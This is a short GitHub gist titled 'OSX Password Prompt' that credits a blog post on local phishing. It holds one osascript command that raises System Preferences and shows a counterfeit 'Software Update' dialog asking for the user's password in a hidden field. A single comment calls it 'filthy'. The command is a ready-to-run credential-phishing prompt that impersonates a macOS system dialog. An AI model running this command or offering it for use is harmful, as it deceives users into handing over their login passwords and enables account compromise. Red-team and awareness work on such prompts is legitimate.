Skip to content

Instantly share code, notes, and snippets.

@jeffgeiger
Created October 7, 2014 21:44
Show Gist options
  • Save jeffgeiger/75cfeeecbd802e82e7bc to your computer and use it in GitHub Desktop.
Save jeffgeiger/75cfeeecbd802e82e7bc to your computer and use it in GitHub Desktop.
OSX Password Prompt
#Cred to: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'
@dcode
Copy link

dcode commented Sep 8, 2015

You're filthy.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment